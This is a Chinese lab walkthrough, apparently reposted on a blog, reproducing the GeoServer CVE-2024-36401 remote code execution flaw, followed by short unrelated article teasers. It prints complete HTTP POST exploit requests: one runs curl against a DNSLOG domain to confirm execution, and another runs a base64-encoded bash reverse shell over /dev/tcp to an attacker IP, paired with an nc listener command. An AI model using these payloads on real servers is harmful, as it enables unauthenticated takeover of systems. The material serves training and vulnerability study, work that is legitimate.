【靶机实战】GeoServer 远程代码执行漏洞复现

news2024/9/30 21:36:32

# 在线靶场

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> GeoServer-远程代码执行

原文:【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell (get-shell.com)

# 简介

CVE-2024-36401是一个高危的远程代码执行漏洞,存在于GeoServer软件中。GeoServer是一个用Java编写的开源服务器,用于共享和编辑地理空间数据。该漏洞允许未经身份验证的远程攻击者通过构造特定的请求,在服务器上执行任意代码,从而可能获取服务器的控制权。这个漏洞在2024年7月2日被公开,影响多个版本的GeoServer,包括2.24.0至2.24.3以及2.25.0至2.25.1。

# 漏洞复现

打开靶场首页,访问URL:URL/geoserver,例如:http://192.168.1.1/geoserver, 访问geoserver系统首页

图片[1] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

打开DNSLOG平台,生成一个临时域名后备用。

图片[2] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

利用下面的POC数据包,使用BurpSuite或者Yakit这类软件进行数据包重放,记得替换Host为自己目标,然后查看数据包中的字段:valueReference=’exec(java.lang.Runtime.getRuntime(),”curl mnvmmj.dnslog.cn“)’>,其中curl mnvmmj.dnslog.cn就是执行的命令,将里面的域名替换为自己的DNSLOG域名,然后发包后查看DNSLOG平台的回显。

POST /geoserver/wfs HTTP/1.1

Host: node.hackhub.get-shell.com:57150

Accept: */*

Accept-Language: en-US,en;q=0.5

Content-Length: 326

<wfs:GetPropertyValue service='WFS' version='2.0.0'

xmlns:topp='http://www.openplans.org/topp'

xmlns:fes='http://www.opengis.net/fes/2.0'

xmlns:wfs='http://www.opengis.net/wfs/2.0'

valueReference='exec(java.lang.Runtime.getRuntime(),"curl mnvmmj.dnslog.cn")'>

<wfs:Query typeNames='topp:states'/>

</wfs:GetPropertyValue>

图片[3] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

通过DNSLOG平台可以看到回显,说明此处可以命令执行。但是JAVA的EXEC执行命令会有些困难,不可以直接输入反弹Shell命令,我们精心构造一下Payload:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

这是一串shell命令,需要我们将YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==进行base64解码:bash -i >& /dev/tcp/127.0.0.1/12345 0>&1,然后将里面的127.0.0.1替换为接收反弹Shell机器的公网IP,例如改为:bash -i >& /dev/tcp/192.168.1.2/12345 0>&1,然后base64编码一下:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx,最终执行命令的Payload为:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}

在我们的接收反弹Shell的机器上开启NC监听、端口为12345,命令:nc -lvp 12345,然后通过重放数据包,将我们刚才构造的Payload替换到数据包里面,发送数据包。

POST /geoserver/wfs HTTP/1.1

Host: node.hackhub.get-shell.com:57150

Accept: */*

Accept-Language: en-US,en;q=0.5

Content-Length: 326

<wfs:GetPropertyValue service='WFS' version='2.0.0'

xmlns:topp='http://www.openplans.org/topp'

xmlns:fes='http://www.opengis.net/fes/2.0'

xmlns:wfs='http://www.opengis.net/wfs/2.0'

valueReference='exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}")'>

<wfs:Query typeNames='topp:states'/>

</wfs:GetPropertyValue>

然后查看接收反弹Shell的机器,发现目标的Shell已经成功反弹过来了

图片[4] - 【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1913208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Springboot项目实训--day2

今天学习的是idea和MySQL的连接&#xff0c;以及一些基本的增删改查的功能实现。 一、软件下载 昨天下载了idea&#xff0c;今天要是西安它们的连接&#xff0c;就需要再下载MySQL&#xff0c;我的MySQL是前面几个学期别人帮忙下载的&#xff0c;所以具体的操作步骤我也不清楚…

VSTO插件功能介绍-清除空行(列)

提示目前我的插件命名为“哆哆Excel”&#xff0c;还没有打包&#xff0c;主要是自己工作中要用到的东西&#xff0c;它能提高我的工作效率&#xff0c;10倍以上开发&#xff1a;Visual Studio 2019语言&#xff1a;VB.net看个图吧 今天要记录的问题是这样子的 当时有一个同事&…

HTTP 概况

Web的应用层协议是超文本传输协议(HyperTextTransferProtocol&#xff0c;HTTP)&#xff0c;它是 Web的核心。HTTP由两个程序实现:一个客户程序和一个服务器程序。客户程序和服务器程序运行在不同的端系统中&#xff0c;通过交换HTTP报文进行会话。HTTP定义了这些报文的结构以及…

基于CentOS Stream 9平台搭建FRP内网穿透

内网穿透方法很多&#xff0c;本文以github上很火的frp为例 1.frp官方 文档&#xff1a;https://gofrp.org/zh-cn/docs/overview/ 1.1 下载 https://github.com/fatedier/frp/releases 选中合适的版本 2. 服务端&#xff08;服务器&#xff09;搭建frps 需要公网IP服务器 选…

Qt Creator仿Visual Studio黑色主题

转自本人博客&#xff1a;Qt Creator仿Visual Studio黑色主题 1.演示 配置文件和步骤在后面&#xff0c;先看成品&#xff0c;分别是QWidget和QML的代码编写界面&#xff1a; 2. 主题配置文件 下载链接&#xff1a;QtCreator _theme_VS_dark.xml 也可以自己新建一个xml文件&…

【单片机毕业设计选题24053】-基于单片机的WiFi控制门禁系统设计

系统功能: 系统上电后OLED显示智能门禁系统 Door:xxxxxx 初始化ESP8266完成后显示 Door:Closed 短按按键SW4可打开电磁锁OLED显示Door:Open&#xff0c;约五秒后电磁锁自动关闭OLED 显示Door:Closed 根据“TCP调试助手使用说明”操作&#xff0c; 在调试助手界面发送Open后…

14-56 剑和诗人30 - IaC、PaC 和 OaC 在云成功中的作用

介绍 随着各大企业在 2024 年加速采用云计算&#xff0c;基础设施即代码 (IaC)、策略即代码 (PaC) 和优化即代码 (OaC) 已成为成功实现云迁移、IT 现代化和业务转型的关键功能。 让我在云计划的背景下全面了解这些代码功能的当前状态。我们将研究现代云基础设施趋势、IaC、Pa…

雷达视频采集卡 HPx-410

产品简介 雷达视频采集卡 HPx-410&#xff0c;应用于接入导航雷达数据&#xff0c;导航雷达视频&#xff0c;适用于JRC雷达、古野furuon雷达、Sperry雷达等多种型号的雷达。 HPx-410 可以接入导航雷达数据&#xff0c;引入导航雷达原始回波&#xff0c;然后将雷达视频采集到计…

PageDTO<T>,PageQuery,BeanUtils,CollUtils的封装

一、PageDTO<T> import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.fasterxml.jackson.annotation.JsonIgnore; import com.tianji.common.utils.BeanUtils; import com.tianji.common.utils.CollUtils; import com.tianji.common.utils.…

人工智能算法工程师(中级)课程2-Opencv视觉处理之高级操作与代码详解

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能算法工程师(中级)课程2-Opencv视觉处理之高级操作与代码详解。在上一节课中的OpenCV基础操作我们了解到OpenCV是一个开源的计算机视觉软件库。它提供了各种视觉处理函数&#xff0c;并支持多种编程语言&…

数据结构基础--------【二叉树题型】

1、前提(待补充) 1.**DFS&#xff08;Depth First Search&#xff09;&#x1f617;*递归法得到最终的数组&#xff08;深度优先算法&#xff09; 其过程简要来说是对每一个可能的分支路径深入到不能再深入为止&#xff0c;如果遇到死路就往回退&#xff0c;回退过程中如果遇…

MMGPL: 多模态医学数据分析与图提示学习| 文献速递-基于深度学习的多模态数据分析与生存分析

Title 题目 MMGPL: Multimodal Medical Data Analysis with Graph Prompt Learning MMGPL: 多模态医学数据分析与图提示学习 01 文献速递介绍 神经学障碍&#xff0c;包括自闭症谱系障碍&#xff08;ASD&#xff09;&#xff08;Lord等&#xff0c;2018年&#xff09;和阿…

使用Maven命令将第三方jar包安装到maven本地仓库

使用Maven命令将第三方jar包安装到maven本地仓库 事例&#xff1a; 第三方jar包 &#xff1a;common-pojo-1.0-SNAPSHOT.jar Maven命令 mvn install:install-file -Dfilejar包在本地磁盘的路径 -DgroupId组织名称 -DartifactId项目名称 -Dversion版本号 -Dpackaging打包方式 完…

LLM-大模型私有模型训练步骤方法总结

文章目录 前言预训练&#xff08;Pretrained&#xff09;步骤模型选择确定应用场景数据采集清理数据预训练模型 微调&#xff08;Fine Tuning&#xff09;合规对齐 (Alignment)集成 LLM 至 APP总结 前言 本文将从宏观层面说明 LLM 私有模型的训练步骤&#xff0c;包括预训练&a…

【多媒体】Java实现MP4和MP3音视频播放器【JavaFX】【更多功能的播放器】【音视频播放】

在Java中播放视频可以使用多种方案&#xff0c;最常见的是通过Swing组件JFrame和JLabel来嵌入JMF(Java Media Framework)或Xuggler。不过&#xff0c;JMF已经不再被推荐使用&#xff0c;而Xuggler是基于DirectX的&#xff0c;不适用于跨平台。而且上述方案都需要使用第三方库。…

前端构建工具(webpackvite)

这里写目录标题 构建工具webpack介绍配置文件简介entryoutputloaderbabel插件开发服务器&#xff08;webpack-dev-server&#xff09;soureMap vite 构建工具 当我们习惯了在node中编写代码的方式后&#xff0c;在回到前端编写html、css、js这些东西会感觉到各种的不便。比如:…

【PB案例学习笔记】-30动态打开窗口

写在前面 这是PB案例学习笔记系列文章的第30篇&#xff0c;该系列文章适合具有一定PB基础的读者。 通过一个个由浅入深的编程实战案例学习&#xff0c;提高编程技巧&#xff0c;以保证小伙伴们能应付公司的各种开发需求。 文章中设计到的源码&#xff0c;小凡都上传到了gite…

【C++报错已解决】Multiple Definition of Symbol

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 引言一、问题描述1.1 报错示例1.2 报错分析1.3 解决思路 二、解决方法&#xff1a;方法一&#xff1a;使用extern关键…

Linux驱动开发-03字符设备驱动框架搭建

一、字符设备驱动开发步骤 驱动模块的加载和卸载&#xff08;将驱动编译模块&#xff0c;insmod加载驱动运行&#xff09;字符设备注册与注销&#xff08;我们的驱动实际上是去操作底层的硬件&#xff0c;所以需要向系统注册一个设备&#xff0c;告诉Linux系统&#xff0c;我有…

最新知识付费系统3.0整站+自动采集同步插件

支持分类替换 将主站同步过来的文章分类进行替换 支持自定义文章作者&#xff08;选择多个作者则同步到的文章作者将会随机分配&#xff09; 支持添加黑名单分类 添加后 如果同步过来的文章包含黑名单分类将不会发布文章 自动检测同步&#xff0c;无需人工值守以及挂采集软件…